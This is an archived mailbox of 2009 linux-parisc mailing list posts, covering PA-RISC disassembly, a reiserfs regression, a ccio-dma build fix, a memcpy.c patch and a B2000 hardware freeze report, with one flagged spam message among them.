	Wed, 13 May 2009 04:13:04 -0400
Original-Received: from ppp89-110-17-64.pppoe.avangarddsl.ru ([89.110.17.64]:1848 "HELO
	ppp89-110-17-64.pppoe.avangarddsl.ru" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1750890AbZEMIND (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 May 2009 04:13:03 -0400
Original-Received: from subj ([35.38.74.170]) by ppp89-110-17-64.pppoe.avangarddsl.ru with Microsoft SMTPSVC(6.0.3790.1830); Wed, 13 May 2009 11:52:20 -1200
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 6.9 points;
 *  2.3 DATE_IN_FUTURE_12_24 Date: is 12 to 24 hours after Received: date
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: rozcadop.cn]
Xref: news.gmane.org gmane.linux.ports.parisc:1688 gmane.spam.detected:4381165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1688>

LIVE LARGE TODAY!  http://etd.rozcadop.cn/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Wed, 13 May 2009 22:50:52 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20090514045052.GB24614@lackof.org>
References: <20090505191845.GD3094@bombadil.infradead.org> <20090505194658.07D074EDA@hiauly1.hia.nrc.ca> <20090506160442.GE3094@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1242276667 1491 80.91.229.12 (14 May 2009 04:51:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2009 04:51:07 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 14 06:50:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M4SuF-0006ja-I6
	for glpp-linux-parisc@gmane.org; Thu, 14 May 2009 06:50:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751241AbZENEuw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 May 2009 00:50:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751799AbZENEuw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 May 2009 00:50:52 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:42583 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751241AbZENEuw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 May 2009 00:50:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E47FE33E001E;
	Wed, 13 May 2009 22:50:52 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6jwAuUYy7qUS; Wed, 13 May 2009 22:50:52 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 9C06C33E0250; Wed, 13 May 2009 22:50:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090506160442.GE3094@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1689 gmane.linux.debian.ports.hppa:5711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1689>

On Wed, May 06, 2009 at 12:04:42PM -0400, Kyle McMartin wrote:
...
> At a guess, you're probably right, the faulting insn is a load:
> 
> 0x0002b3a8 <__canonicalize_funcptr_for_compare+48>:	bb,>= r26,1e,0x2b394 <__canonicalize_funcptr_for_compare+28>
> 0x0002b3ac <__canonicalize_funcptr_for_compare+52>:	copy r26,r3
> 0x0002b3b0 <__canonicalize_funcptr_for_compare+56>:	addil L%800,dp,r1
> 0x0002b3b4 <__canonicalize_funcptr_for_compare+60>:	ldw 294(r1),ret1
> 0x0002b3b8 <__canonicalize_funcptr_for_compare+64>:	depwi 0,31,2,r3
> 0x0002b3bc <__canonicalize_funcptr_for_compare+68>:	ldw 0(r3),r26
> 
> god knows I can't recall how DEP*I work, but I guess this is clearing
> the bottom two bits of %r3 if bit 31 is set in %r26?

Wouldn't 1e == bit 30?

And yes, "depwi 0,31,2,XX"  is clearing the bottom 2 bits of XX.

I'm a bit confused about the ">=" conditional since only one bit is tested.
So is the copy only executed on branch not taken case?

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: ccio-dma: fix build failure without procfs
Date: Thu, 14 May 2009 14:30:51 +0400
Lines: 22
Approved: news@gmane.org
Message-ID: <a4423d670905140330k492d38fcjbd101143f0b64d8e@mail.gmail.com>
References: <20090403120854.GA29187@orion>
	 <20090403175902.GK14159@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242297063 22989 80.91.229.12 (14 May 2009 10:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2009 10:31:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 14 12:30:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M4YDG-0003YH-KK
	for glpp-linux-parisc@gmane.org; Thu, 14 May 2009 12:30:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751924AbZENKaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 May 2009 06:30:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752510AbZENKaw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 May 2009 06:30:52 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:63006 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751924AbZENKav (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 May 2009 06:30:51 -0400
Original-Received: by fxm2 with SMTP id 2so1201351fxm.37
        for <linux-parisc@vger.kernel.org>; Thu, 14 May 2009 03:30:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=cqP8Zs58ClbqnKVJqSVQQixMRuMcBfKgqFLZIR1fWsc=;
        b=MjyCFJD7dJCKmFhuxgfflhunrJMSJmukXcByPTMTJVjJbyNO+jJ333xX0g5RQV+vZM
         sd/7wVrC1sbMKSqmTW6ZHm79zK2b6lizYZfKgZKf+EtORK7AFfp1yUn0HEiLKbWBuSmZ
         +1FmoOu2dy0u0I8HGou+ImXSr4BdNPxSGW3bI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=PxCHNsUfiiPCfunuRkvNVqoR/j9xXloq3EzthylL92hbkdx1siM6j5WJi3kZrmeDmd
         TfQtPPmCDxJaTSA07VxZKzbuvVhtffu9ouEQciYubpSjILPGTkrY0+1vpYu3Bi/YLnPc
         1gVeDN79kz2TJZaJzFil3pC2WZXgOT51COL4w=
Original-Received: by 10.204.120.70 with SMTP id c6mr1964820bkr.144.1242297051253; Thu, 
	14 May 2009 03:30:51 -0700 (PDT)
In-Reply-To: <20090403175902.GK14159@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1690>

2009/4/3 Kyle McMartin <kyle@mcmartin.ca>:
> On Fri, Apr 03, 2009 at 04:08:54PM +0400, Alexander Beregalov wrote:
>> Fix this build error when CONFIG_PROC_FS is not set:
>> drivers/parisc/ccio-dma.c:1574: error: 'ccio_proc_info_fops' undeclared
>>
>> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
>
> Applied to the fixes branch.

Hi Kyle.

It still fails with linux-next.

Could you please send it to Linus or ask Stephen to pull different
branch (with all latest changes) of your tree?

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.comp.file-systems.reiserfs.general,gmane.linux.kernel,gmane.linux.kernel.kernel-testers,gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc5: reiserfs is broken on parisc (bisected)
Date: Thu, 14 May 2009 15:04:13 +0400
Lines: 39
Approved: news@gmane.org
Message-ID: <a4423d670905140404n719f21f3jd841bf6fed3fd7be@mail.gmail.com>
References: <a4423d670905120940r5de3eab7v7e8e92d89107b962@mail.gmail.com>
	 <4A09AFD1.5090604@suse.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242299070 28995 80.91.229.12 (14 May 2009 11:04:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2009 11:04:30 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
	reiserfs-devel@vger.kernel.org
To: Jeff Mahoney <jeffm@suse.com>
Original-X-From: reiserfs-devel-owner@vger.kernel.org Thu May 14 13:04:21 2009
Return-path: <reiserfs-devel-owner@vger.kernel.org>
Envelope-to: gcfrg-reiserfs-devel@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M4Yjb-00022P-UK
	for gcfrg-reiserfs-devel@gmane.org; Thu, 14 May 2009 13:04:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754077AbZENLEQ (ORCPT
	<rfc822;gcfrg-reiserfs-devel@m.gmane.org>);
	Thu, 14 May 2009 07:04:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754019AbZENLEP
	(ORCPT <rfc822;reiserfs-devel-outgoing>);
	Thu, 14 May 2009 07:04:15 -0400
Original-Received: from mail-bw0-f174.google.com ([209.85.218.174]:55913 "EHLO
	mail-bw0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753792AbZENLEO (ORCPT
	<rfc822;reiserfs-devel@vger.kernel.org>);
	Thu, 14 May 2009 07:04:14 -0400
Original-Received: by bwz22 with SMTP id 22so1207025bwz.37
        for <multiple recipients>; Thu, 14 May 2009 04:04:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=VUyx8W1OiGP24fav96lUabGtfWGzOd4Cu7ajnC5TjBI=;
        b=pwC7+K0mUCKi39pr2rlUnFZJebBMYga3qkhXrTjDVZNBBEQ5aZh/HtPLEsHzKsg/A4
         cKJ7oJZujF3Dos1uOFVqFtK9e4KFynFTAceSQtnaRdhfggJOXfM4XxEsR+D9iOa4D22j
         RNpnujNgLPmvsMTYf0wlNBLAwWycxI65xUtEU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=EfqeZ7nzMW5ianrVCMt0kElJMjLjfxzmDIZnRXBpug80YET4CJed5K+aEnA1MBReaF
         FDhq3ebS11rVxkM/eDFzb+nxI727Z/qx2S2gL6KQIeEguW7pfjhCtOlozhvGG6cc73Ph
         HEuqBsBJ3anq75mIVQABh0FH2eBy0xoEC/NdA=
Original-Received: by 10.204.55.140 with SMTP id u12mr1991122bkg.127.1242299053254; 
	Thu, 14 May 2009 04:04:13 -0700 (PDT)
In-Reply-To: <4A09AFD1.5090604@suse.com>
Original-Sender: reiserfs-devel-owner@vger.kernel.org
Precedence: bulk
List-ID: <reiserfs-devel.vger.kernel.org>
X-Mailing-List: reiserfs-devel@vger.kernel.org
Xref: news.gmane.org gmane.comp.file-systems.reiserfs.general:22336 gmane.linux.kernel:836727 gmane.linux.kernel.kernel-testers:4777 gmane.linux.ports.parisc:1691
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1691>

2009/5/12 Jeff Mahoney <jeffm@suse.com>:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Alexander Beregalov wrote:
>> Hi
>>
>> ab17c4f02156c4f75d7fa43a5aa2a7f942d47201 is the first bad commit
>> (reiserfs: fixup xattr_root caching)
>>
>> Kernel panics when init tries to remount rootfs (reiserfs) with
>> read-write access.
>> Read-only access works fine.
>>
>> No more messages on the screen before panic.
>>
>> Is it endianess related?
>
> No, not at all. There was a problem with the xattr code if the kernel
> was built with xattrs disabled. It assumed that
> REISERFS_SB(s)->xattr_root would be available, which isn't the case when
> xattrs aren't enabled. Part of it has been cleaned up in -git1, and I've
> sent Al some additional patches to fix the rest of it up.
>
> There's a thread called "reiserfs xattr fixups" that contains 4 patches.
> The patch marked with * is the one I believe will fix your problem.
>
> - - reiserfs: cleanup ifdefs
> - - reiserfs: deal with NULL xattr root w/ xattrs disabled *
> - - reiserfs: fixup perms when xattrs are disabled
> - - reiserfs: allow exposing privroot w/ xattrs enabled
>
It works!
Thanks Jeff.
--
To unsubscribe from this list: send the line "unsubscribe reiserfs-devel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 14 May 2009 09:31:54 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <20090514133155.74C9C4FB1@hiauly1.hia.nrc.ca>
References: <20090514045052.GB24614@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242307932 25476 80.91.229.12 (14 May 2009 13:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2009 13:32:12 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 14 15:32:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M4b2U-0005w3-D3
	for glpp-linux-parisc@gmane.org; Thu, 14 May 2009 15:31:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751204AbZENNb4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 May 2009 09:31:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751246AbZENNb4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 May 2009 09:31:56 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1276 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751204AbZENNbz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 May 2009 09:31:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 74C9C4FB1; Thu, 14 May 2009 09:31:55 -0400 (EDT)
In-Reply-To: <20090514045052.GB24614@lackof.org> from "Grant Grundler" at May 13, 2009 10:50:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1692 gmane.linux.debian.ports.hppa:5713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1692>

> 
> On Wed, May 06, 2009 at 12:04:42PM -0400, Kyle McMartin wrote:
> ...
> > At a guess, you're probably right, the faulting insn is a load:
> > 
> > 0x0002b3a8 <__canonicalize_funcptr_for_compare+48>:	bb,>= r26,1e,0x2b394 <__canonicalize_funcptr_for_compare+28>
> > 0x0002b3ac <__canonicalize_funcptr_for_compare+52>:	copy r26,r3
> > 0x0002b3b0 <__canonicalize_funcptr_for_compare+56>:	addil L%800,dp,r1
> > 0x0002b3b4 <__canonicalize_funcptr_for_compare+60>:	ldw 294(r1),ret1
> > 0x0002b3b8 <__canonicalize_funcptr_for_compare+64>:	depwi 0,31,2,r3
> > 0x0002b3bc <__canonicalize_funcptr_for_compare+68>:	ldw 0(r3),r26
> > 
> > god knows I can't recall how DEP*I work, but I guess this is clearing
> > the bottom two bits of %r3 if bit 31 is set in %r26?
> 
> Wouldn't 1e == bit 30?

Yes.  This is the 'L' field in the procedure label layout.  Bit 31
is X field and reserved.

> And yes, "depwi 0,31,2,XX"  is clearing the bottom 2 bits of XX.
> 
> I'm a bit confused about the ">=" conditional since only one bit is tested.
> So is the copy only executed on branch not taken case?

The conditions for bb are unique.  The word conditions are < and >=.
The double word conditions are *< and *>=.  See Table D-15 on page D-9
in arch.

This code sequence is used for indirect calls (e.g., $$dyncall).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <roel.kluin@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] misplaced parenthesis?
Date: Fri, 15 May 2009 21:23:29 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <4A0DC131.8020606@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242415420 19089 80.91.229.12 (15 May 2009 19:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 May 2009 19:23:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 15 21:23:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M530F-0002LA-Q1
	for glpp-linux-parisc@gmane.org; Fri, 15 May 2009 21:23:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751466AbZEOTX2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 May 2009 15:23:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752238AbZEOTX2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 May 2009 15:23:28 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.26]:15568 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751466AbZEOTX2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 May 2009 15:23:28 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so643768eyd.37
        for <linux-parisc@vger.kernel.org>; Fri, 15 May 2009 12:23:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:content-type
         :content-transfer-encoding;
        bh=pjgQBMD8B1YKfHckOu7RpbBXiWhSGyy/SSZ5zf24Fz4=;
        b=QTWNWsuXpz9ZLqoNmqH67UsI+OATMLQ6UPLonjYS04sZL7BpmJf8yVF1lsG8T5NsOS
         uLYxRLxIhRYVeF7rY4tDLTJTJV5tGVrZNQ0ZVMS5IzLz3Gowsw5xl+o4a68J4Q4atToH
         3XJIt0keElE1KqczIVNcT9yhFke1KwrENCDDI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        b=nZ7nIqp+M5cTEv2kt2ySHIOsWdokbjlyWBZ4uhd/IJ80ry6g844H24l2H8lGqIfNbP
         Zxn9LfLAcfFhxpVaRFph46PJuzoLcDCh+wtRwvV+5aR2iZTcg8jcHgLuJarMH86AHuVL
         pdzeMg7F/2jkpZpp/dr6WyTYeRO4lwilU8C6Q=
Original-Received: by 10.210.38.5 with SMTP id l5mr4565270ebl.54.1242415408304;
        Fri, 15 May 2009 12:23:28 -0700 (PDT)
Original-Received: from ?192.168.1.115? (d133062.upc-d.chello.nl [213.46.133.62])
        by mx.google.com with ESMTPS id 5sm2176211eyf.8.2009.05.15.12.23.27
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 15 May 2009 12:23:27 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (X11/20090302)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1693>

Fix misplaced parenthesis.

Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
---
I think this is what was intended? Note that this patch may affect
profiling.

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index bbda909..30207b0 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -405,7 +405,7 @@ byte_copy:
 
 unaligned_copy:
 	/* possibly we are aligned on a word, but not on a double... */
-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely(t1 & (sizeof(unsigned int)-1) == 0)) {
 		t2 = src & (sizeof(unsigned int) - 1);
 
 		if (unlikely(t2 != 0)) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Sat, 16 May 2009 00:40:31 +0200
Lines: 670
Approved: news@gmane.org
Message-ID: <4A0DEF5F.6090401@ieee.org>
References: <49FB108B.9030803@ieee.org> <20090503112554.GB6617@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000803000503010300030909"
X-Trace: ger.gmane.org 1242427253 21467 80.91.229.12 (15 May 2009 22:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 May 2009 22:40:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 16 00:40:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5656-00087y-QN
	for glpp-linux-parisc@gmane.org; Sat, 16 May 2009 00:40:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751740AbZEOWkl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 May 2009 18:40:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752136AbZEOWkl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 May 2009 18:40:41 -0400
Original-Received: from bente.schedom-europe.net ([193.109.184.68]:51238 "EHLO
	bente.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751740AbZEOWkj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 May 2009 18:40:39 -0400
Original-Received: (qmail 4040 invoked by uid 507); 16 May 2009 00:40:37 +0200
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	bente.schedom-europe.net
X-Spam-Level: **********
X-Spam-Status: No, score=10.8 required=15.0 tests=BAYES_99,TVD_STOCK1
	autolearn=disabled version=3.2.5
Original-Received: from ip194.16leu0-1.cityconnect.schedom-europe.net (HELO ?192.168.1.20?) (83.101.44.194)
  by bente.schedom-europe.net with SMTP; 16 May 2009 00:40:33 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090503112554.GB6617@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1694>

This is a multi-part message in MIME format.
--------------000803000503010300030909
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Dear Grant,
Dear linux-parisc enthousiasts,

Sorry for the late reply: in the last week, my vt220 terminal died and
the power supply of my old (i386) server died as well, so I was busy
with other things.

I attached the "ser pim" output to this email, I hope it helps. If you
need any other information, please ask, I hope I'll be more responsive
next time...

Dirk

Grant Grundler wrote:
> [ moved debian-hppa to BCC and added linux-parisc to CC ]
> 
> On Fri, May 01, 2009 at 05:08:59PM +0200, Dirk Van Hertem wrote:
>> hello,
>>
>> My hppa box (B2000) experiences some problems: it freezes after a few
>> (2-6) hours.
>>
>> On the led display I get the following error codes:
>>
>> FLT CBFC: SYS BD
>> bus timeout
